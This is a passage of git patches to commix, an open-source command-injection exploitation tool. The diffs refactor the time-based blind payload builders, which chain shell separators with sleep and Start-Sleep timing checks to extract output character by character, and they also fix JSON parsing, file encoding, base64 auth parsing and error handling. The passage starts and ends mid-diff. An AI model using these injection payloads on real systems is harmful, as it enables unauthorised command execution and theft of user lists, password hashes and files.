+ str(j) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -296,7 +276,6 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ ) else: pass - else: settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a" : @@ -309,7 +288,6 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -321,9 +299,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) - separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + @@ -334,15 +310,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ else: pass - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n", ";") - else: - if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace("\n","%0d") + payload = checks.payload_newline_fixation(payload) return payload """ @@ -358,7 +326,6 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -370,7 +337,6 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http ) else: pass - else: if separator == ";" or separator == "%0a" : payload = (separator + @@ -381,7 +347,6 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "then sleep " + str(timesec) + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -392,9 +357,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + "sleep " + str(timesec) ) - separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + @@ -408,7 +371,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http ) else: pass - # + return payload """ @@ -435,7 +398,6 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - else: pass @@ -448,7 +410,6 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -458,9 +419,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + @@ -470,14 +429,8 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t else: pass - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n", ";") - else: - if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace("\n","%0d") + # New line fixation + payload = checks.payload_newline_fixation(payload) return payload """ @@ -493,7 +446,6 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -503,7 +455,6 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - else: pass @@ -516,7 +467,6 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "then sleep " + str(timesec) + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -526,9 +476,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "[ " + str(ord(str(ascii_char))) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + "sleep " + str(timesec) ) - separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + @@ -538,7 +486,6 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth else: pass - return payload """ @@ -566,7 +513,6 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, ) else: pass - else: if separator == ";" or separator == "%0a" : payload = (separator + @@ -576,7 +522,6 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -586,9 +531,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + @@ -598,15 +541,8 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, else: pass - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n",";") - else: - if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace("\n","%0d") + # New line fixation + payload = checks.payload_newline_fixation(payload) return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index e393a13547..683a5fb07d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "27" +REVISION = "28" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a69ad8e5542259a5914ba25231e27a1ba1b1dbcd Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 25 May 2025 12:13:01 +0300 Subject: [PATCH 554/560] Minor bug fix regarding commit: https://github.com/commixproject/commix/commit/f41ef7af26a5adf2bebd58905da41eddc85aafc1 --- src/core/injections/controller/checks.py | 16 +++++++++------- src/core/requests/parameters.py | 11 +++++++++-- src/utils/settings.py | 3 ++- 3 files changed, 20 insertions(+), 10 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index b965076b6b..fbc464c637 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2070,13 +2070,14 @@ def check_quotes_json_data(data): # Check if valid JSON def is_JSON_check(parameter): - if not settings.IS_JSON: - try: - # Attempt to load the JSON string - json_object = json.loads(parameter.replace(settings.INJECT_TAG,"")) - return True - except json.JSONDecodeError as err_msg: - # Handle JSONDecodeError and identify common issues + try: + # Attempt to load the JSON string + json_object = json.loads(parameter.replace(settings.INJECT_TAG,"")) + settings.IS_VALID_JSON = True + return settings.IS_VALID_JSON + except json.JSONDecodeError as err_msg: + # Handle JSONDecodeError and identify common issues + if settings.IS_JSON and not settings.IS_VALID_JSON: error_str = str(err_msg) if "No JSON object could be decoded" in error_str: err_msg = "JSON is invalid. No valid JSON object found." @@ -2087,6 +2088,7 @@ def is_JSON_check(parameter): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + # Process with JSON data def process_data(data_type, http_request_method): while True: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 7c72014f0d..a97fae4ddd 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -224,8 +224,15 @@ def do_POST_check(parameter, http_request_method): """ def multi_params_get_value(param, all_params): - if len(all_params) == 0 or (len(all_params) == 1 and (all_params[0] == "{}" or json.loads(all_params[0]) == {})): - checks.no_parameters_found() + def is_empty_json_str(s): + try: + return json.loads(s) == {} + except Exception: + return False + + # Check if parameters are empty or meaningless + if (len(all_params) == 0 or (len(all_params) == 1 and (all_params[0] == "{}" or is_empty_json_str(all_params[0])))): + checks.no_parameters_found() if settings.IS_JSON: value = re.findall(r'\:(.*)', all_params[param]) diff --git a/src/utils/settings.py b/src/utils/settings.py index 683a5fb07d..8f8b344c98 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "28" +REVISION = "29" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1006,6 +1006,7 @@ class INJECTION_TECHNIQUE(object): # JSON Data IS_JSON = False +IS_VALID_JSON = False # Infixes used for automatic recognition of parameters carrying anti-CSRF tokens CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token") From 6bfad61c7c94886f9dcfabf7c7f4914497f31351 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 26 May 2025 07:20:18 +0300 Subject: [PATCH 555/560] Minor code refactoring to enhance file I/O reliability --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 36 ++++++++++++------------ src/utils/crawler.py | 2 +- src/utils/logs.py | 10 +++---- src/utils/settings.py | 2 +- 5 files changed, 26 insertions(+), 25 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 125c7f3a69..519ae1453c 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Minor code refactoring to enhance file I/O reliability. * Revised: Minor code refactoring to ensure compliance with PEP 440 versioning standards. * Revised: Improved key transformation for nested structures using bracket notation and dot syntax. * Fixed: Minor bug-fix in parsing improperly escaped characters in JSON objects. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index fbc464c637..6804d4432d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -636,9 +636,9 @@ def page_encoding(response, action): _ = False try: if action == "encode" and type(page) == str: - return page.encode(settings.DEFAULT_CODEC, errors="ignore") + return page.encode(settings.DEFAULT_CODEC, errors="replace") else: - return page.decode(settings.DEFAULT_CODEC, errors="ignore") + return page.decode(settings.DEFAULT_CODEC, errors="replace") except (UnicodeEncodeError, UnicodeDecodeError) as err: err_msg = "The " + str(err).split(":")[0] + ". " _ = True @@ -2176,7 +2176,7 @@ def print_ps_version(ps_version, filename, _): info_msg = "Powershell version: " + ps_version settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: info_msg = "Powershell version: " + ps_version + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) @@ -2197,7 +2197,7 @@ def print_hostname(shell, filename, _): info_msg = "Hostname: " + str(shell) settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) @@ -2215,7 +2215,7 @@ def print_current_user(cu_account, filename, _): info_msg = "Current user: " + str(cu_account) settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) @@ -2238,7 +2238,7 @@ def print_current_user_privs(shell, filename, _): info_msg = "Current user has excessive privileges: " + str(priv) settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) @@ -2252,7 +2252,7 @@ def print_os_info(target_os, target_arch, filename, _): info_msg = "Operating system: " + str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch) settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) @@ -2322,7 +2322,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi info_msg += " [" + str(len(sys_users_list)) + "]:" settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) count = 0 @@ -2331,7 +2331,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi is_privileged = is_privileged = "" settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL) # Add infos to logs file. - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: if count == 1 : output_file.write("\n") @@ -2364,7 +2364,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() settings.print_data_to_stdout(sys_users) - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: output_file.write(" " + sys_users) else: @@ -2379,7 +2379,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi info_msg += " [" + str(len(sys_users_list)) + "]:" settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) count = 0 @@ -2418,7 +2418,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi is_privileged_nh = "" settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: if count == 1 : output_file.write("\n") @@ -2430,7 +2430,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users.split(":")) settings.print_data_to_stdout(sys_users) - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: output_file.write(" " + sys_users) else: @@ -2460,7 +2460,7 @@ def print_passes(sys_passes, filename, _, alter_shell): info_msg += " password hashes [" + str(len(sys_passes)) + "]:" settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) count = 0 @@ -2472,7 +2472,7 @@ def print_passes(sys_passes, filename, _, alter_shell): if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": settings.print_data_to_stdout(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: if count == 1 : output_file.write("\n") @@ -2484,7 +2484,7 @@ def print_passes(sys_passes, filename, _, alter_shell): warn_msg += "in the appropriate format. Thus, it is expoted as a text file." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.print_data_to_stdout(fields[0]) - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: output_file.write(" " + fields[0]) else: @@ -2500,7 +2500,7 @@ def print_single_os_cmd(cmd, output, filename): _ = "'" + cmd + "' execution output" settings.print_data_to_stdout(settings.print_retrieved_data(_, output)) try: - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "User-supplied command " + _ + ": " + str(output.encode(settings.DEFAULT_CODEC).decode()) + "\n") except TypeError: @@ -2632,7 +2632,7 @@ def file_read_status(shell, file_to_read, filename): if shell: _ = "Fetched file content" settings.print_data_to_stdout(settings.print_retrieved_data(_, shell)) - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: info_msg = "Extracted content of the file '" info_msg += file_to_read + "' : " + shell + "\n" diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 270f00d507..19da0478ef 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -111,7 +111,7 @@ def store_crawling(output_href): filename = tempfile.mkstemp(suffix=settings.OUTPUT_FILE_EXT)[1] info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - with open(filename, "a") as crawling_results: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as crawling_results: for url in output_href: crawling_results.write(str(url.encode(settings.DEFAULT_CODEC).decode()) + "\n") return diff --git a/src/utils/logs.py b/src/utils/logs.py index 02fcf41b65..6d419b6e77 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -104,7 +104,7 @@ def create_log_file(url, output_dir): # The logs filename construction. filename = logs_path + settings.OUTPUT_FILE try: - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: output_file.write("\n" + "=" * 37) output_file.write("\n" + "| Started in " + \ @@ -132,7 +132,7 @@ def add_type_and_technique(export_injection_info, filename, injection_type, tech if export_injection_info == False: settings.SHOW_LOGS_MSG = True - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Type: " + injection_type.title()) output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Technique: " + technique.title()) @@ -143,7 +143,7 @@ def add_type_and_technique(export_injection_info, filename, injection_type, tech Add the vulnerable parameter in log files. """ def add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload): - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: if header_name[1:] == settings.COOKIE.lower(): header_name = " ("+ header_name[1:] + ") " + vuln_parameter @@ -158,7 +158,7 @@ def add_parameter(vp_flag, filename, the_type, header_name, http_request_method, Add any payload in log files. """ def update_payload(filename, counter, payload): - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: if "\n" in payload: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", settings.SINGLE_WHITESPACE, _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n") @@ -171,7 +171,7 @@ def update_payload(filename, counter, payload): """ def executed_command(filename, cmd, output): try: - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + "\n") output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + str(output.encode(settings.DEFAULT_CODEC).decode()) + "\n") diff --git a/src/utils/settings.py b/src/utils/settings.py index 8f8b344c98..95b58a1ff0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "29" +REVISION = "30" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e822d4918f91561d05bc84cddc4408f3ccda86b7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 27 May 2025 08:07:10 +0300 Subject: [PATCH 556/560] Fixes https://github.com/commixproject/commix/issues/1013 --- doc/CHANGELOG.md | 1 + src/core/injections/controller/parser.py | 12 +++++++++++- src/utils/settings.py | 2 +- 3 files changed, 13 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 519ae1453c..ef22c96e82 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Fixed: Minor bug-fix in parsing improperly padded `Base64` in Authorization headers. * Revised: Minor code refactoring to enhance file I/O reliability. * Revised: Minor code refactoring to ensure compliance with PEP 440 versioning standards. * Revised: Improved key transformation for nested structures using bracket notation and dot syntax. diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 0c28a823f3..c5aa1b58ea 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -142,7 +142,17 @@ def invalid_data(request): if auth_provided: menu.options.auth_type = auth_provided[0].lower() if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: - menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode() + # menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode() + try: + # Add base64 padding if missing + b64_string = auth_provided[1] + b64_string += '=' * (-len(b64_string) % 4) + menu.options.auth_cred = base64.b64decode(b64_string).decode() + except (binascii.Error, UnicodeDecodeError) as e: + err_msg = "Invalid base64-encoded credentials provided in Authorization header: " + format(str(e)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: if not menu.options.auth_cred: err_msg = "Use the '--auth-cred' option to provide a valid pair of " diff --git a/src/utils/settings.py b/src/utils/settings.py index 95b58a1ff0..7b24b7c42c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "30" +REVISION = "31" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4fed16d0b6c50be74a1ec51f1163865c8df569cb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 29 May 2025 09:42:01 +0300 Subject: [PATCH 557/560] Fixes https://github.com/commixproject/commix/issues/1015 --- doc/CHANGELOG.md | 1 + src/utils/common.py | 14 +++++++++++++- src/utils/settings.py | 2 +- 3 files changed, 15 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index ef22c96e82..bdb3c55912 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Fixed: Improved handling of terminal input to prevent encoding errors. * Fixed: Minor bug-fix in parsing improperly padded `Base64` in Authorization headers. * Revised: Minor code refactoring to enhance file I/O reliability. * Revised: Minor code refactoring to ensure compliance with PEP 440 versioning standards. diff --git a/src/utils/common.py b/src/utils/common.py index 8794fcce53..c522355a47 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -41,12 +41,24 @@ def invalid_option(option): err_msg = "'" + option + "' is not a valid answer." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) +""" +Reads input from terminal safely +""" +def safe_input(message): + try: + return _input(message) + except UnicodeDecodeError as e: + return _input(message.encode("utf-8", "ignore").decode("utf-8")) + except Exception as err_msg: + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return "" + """ Reads input from terminal """ def read_input(message, default=None, check_batch=True): def is_empty(): - value = _input(settings.print_message(message)) + value = safe_input(settings.print_message(message)) if len(value) == 0: return default else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 7b24b7c42c..511aab441d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "31" +REVISION = "32" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 767f98a96ae0a39cb63ff2df2762ee43a88cdfad Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 30 May 2025 08:21:52 +0300 Subject: [PATCH 558/560] Improved URL error handling --- src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/injector.py | 2 +- src/core/requests/headers.py | 8 ++++---- src/core/requests/requests.py | 2 +- src/utils/settings.py | 2 +- 5 files changed, 8 insertions(+), 8 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 6804d4432d..94dd7ec0bd 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2706,7 +2706,7 @@ def check_file_to_upload(): file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() try: _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: + except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) raise SystemExit() diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 